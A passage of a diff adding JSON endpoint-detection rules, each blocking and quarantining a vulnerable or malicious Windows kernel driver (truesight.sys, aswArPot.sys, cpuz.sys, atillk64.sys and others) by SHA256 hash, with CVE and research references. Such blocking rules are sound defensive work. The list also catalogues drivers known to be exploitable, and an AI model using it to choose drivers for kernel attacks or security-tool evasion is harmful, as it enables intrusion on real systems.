+  "value": "9d58f640c7295952b71bdcb456cae37213baccdcd3032c1e3aeb54e79081f395",
+  "comment": "Vulnerable Kernel Driver (aka ProtectS.sys) [https://www.loldrivers.io/drivers/99668140-a8f6-48f8-86d1-cf3bf693600c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74b2309d-00f0-5038-a8de-206213123154",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156327Z",
+  "creation_date": "2026-03-23T11:45:31.156329Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156335Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1af3c4cd93f51d6aa2e77729fc7b8f0246dbcd08a022906dfddbce7bd430aaa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74b56757-e00c-51c1-9e0c-e8426c467bce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970089Z",
+  "creation_date": "2026-03-23T11:45:29.970090Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970096Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d736f624a306d6e2399778dd92ab7f4f7ab33c6ca0528657bc026214f990a4f",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74bc10aa-13ec-5d1e-8aee-7d7889e1efbf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820651Z",
+  "creation_date": "2026-03-23T11:45:30.820653Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820658Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6d2cc7e1d95bb752d79613d0ea287ea48a63fb643dcb88c12b516055da56a11d",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74cc68b9-6c07-52b2-a64c-d5b104702f95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153042Z",
+  "creation_date": "2026-03-23T11:45:31.153045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153053Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8eaac070c8aab78970a262f7f2f072c546587ad98aff0211c2ba2450a3011d91",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74cccde6-396b-5bae-9688-0c46891d793b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146546Z",
+  "creation_date": "2026-03-23T11:45:31.146549Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc2817ba92143e5ce61d39b25e41cc2af61c405dc3201b6e25463e70b88b008f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74cda055-ac2b-5cb9-9583-57688716e410",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620370Z",
+  "creation_date": "2026-03-23T11:45:29.620371Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620377Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9a1d66036b0868bbb1b2823209fedea61a301d5dd245f8e7d390bd31e52d663e",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74d3557f-ba46-5358-9939-6bbbe91ee93e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968562Z",
+  "creation_date": "2026-03-23T11:45:29.968564Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968570Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ce81759bfa236913bbbb9b2cbc093140b099486fd002910b18e2c6e31fdc4f1",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74d68951-fee8-5771-a7fe-683a0ebceb53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819490Z",
+  "creation_date": "2026-03-23T11:45:31.819493Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819501Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae69fe60af8e539c0448ff886b64a5b6cf4724118134d8e68fa1e038fd6bdf63",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74dad053-0838-5502-85f5-3fc0587f52c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148572Z",
+  "creation_date": "2026-03-23T11:45:31.148574Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148580Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e5f9cd77bc75592166179972748adbd5f5ba1cee16befcfa65ac688ad8a6799",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74db39c3-270a-5bc4-86e6-0ac39a8ec4e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827085Z",
+  "creation_date": "2026-03-23T11:45:31.827087Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827093Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf433c0c2769fff006a0728b189c37683be8a77f7a981c9dce46c4eea6990e22",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74eaa6f0-9357-5613-9e8e-8605a687c639",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813426Z",
+  "creation_date": "2026-03-23T11:45:31.813428Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e85389084d4e3680d8183d94089ca54e8d706305b4fe0400737d200c74c6fa11",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "74f8f6d6-8796-5fdc-8ed5-b4d8c962f2ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144884Z",
+  "creation_date": "2026-03-23T11:45:32.144886Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa20aa2316cd6d203146bd2bc5b7466ba7b83a8500654a688172bcafa82ab168",
+  "comment": "Vulnerable Kernel Driver (aka tboflhelper.sys) [https://www.loldrivers.io/drivers/07c57c69-c8d7-40cf-8bcc-612671427044/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7500a648-c37e-5c74-8f90-3a6ddf2cb00e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834965Z",
+  "creation_date": "2026-03-23T11:45:30.834969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834978Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f262595446d780dccdc21575dc7ea3cc4693a183526d5e31df12af553f5f3c76",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "750e8b21-baa9-52ce-a9aa-f655379a3f5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968596Z",
+  "creation_date": "2026-03-23T11:45:29.968598Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968604Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b6e85c8fed9e39b21b2eab0b69bc464272b2c92961510c36e2e2df7aa39861b",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "751b809c-2385-56d1-925c-b3447281af4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144985Z",
+  "creation_date": "2026-03-23T11:45:32.144987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4143a5bbea0d303c22d6edc6f43463e336eea9144218e02adad72133266130d2",
+  "comment": "Malicious Kernel Driver (aka driver_d1ea9e16.sys) [https://www.loldrivers.io/drivers/8697785a-d088-42a7-ac25-b5c8a3b22664/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "751f5975-5a61-54ae-a9be-b39784c83c55",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143467Z",
+  "creation_date": "2026-03-23T11:45:32.143469Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6278bc785113831b2ec3368e2c9c9e89e8aca49085a59d8d38dac651471d6440",
+  "comment": "Vulnerable Kernel Driver (aka wsdkd.sys) [https://www.loldrivers.io/drivers/a8f2da2a-369c-4b4d-9a00-d7a892b9f7c3/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75303b7d-b6fe-5e28-bc87-951f180ee16e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617521Z",
+  "creation_date": "2026-03-23T11:45:29.617523Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617528Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2952ae305f9e206bb0b6d7986f2b6942656c310f9d201cf2e2dd6e961c18804e",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75474ac6-f4ed-5ea2-a25f-db887733fc9b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472374Z",
+  "creation_date": "2026-03-23T11:45:30.472377Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d366cbc1d5dd8863b45776cfb982904abd21d0c0d4697851ff54381055abcfc8",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75485e95-4fc0-5e5e-b29b-f58a4a1e65d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830429Z",
+  "creation_date": "2026-03-23T11:45:31.830431Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4d54f1068df426973293ef4a2600642f1bb355511a81fa7d69526dd6ca88f9c0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "754a2f56-6765-5bed-84d8-193cdd9e7f0c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148881Z",
+  "creation_date": "2026-03-23T11:45:31.148883Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148888Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eaffbe1b1d732fac8ea2fd78b6a9272d08c89c90d8be590a1128c20e4f34a010",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "754ac519-0359-5e43-876a-5ce0ba54375d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622140Z",
+  "creation_date": "2026-03-23T11:45:29.622142Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ec93f34eb323823eb199fbf8d06219086d517d0e8f4b9e348d7afd41ec9fd5d",
+  "comment": "NamCo vulnerable driver (aka smep_namco.sys) [https://securelist.com/elevation-of-privileges-in-namco-driver/83707/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "755cb237-a350-5483-8d46-399d1e7fd91a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610124Z",
+  "creation_date": "2026-03-23T11:45:29.610126Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610131Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "34bee22c18ddbddbe115cf1ab55cabf0e482aba1eb2c343153577fb24b7226d3",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "75733e07-93b7-5fb8-bad7-f9037248eb13",
+  "test_maturity_current_count": 0,
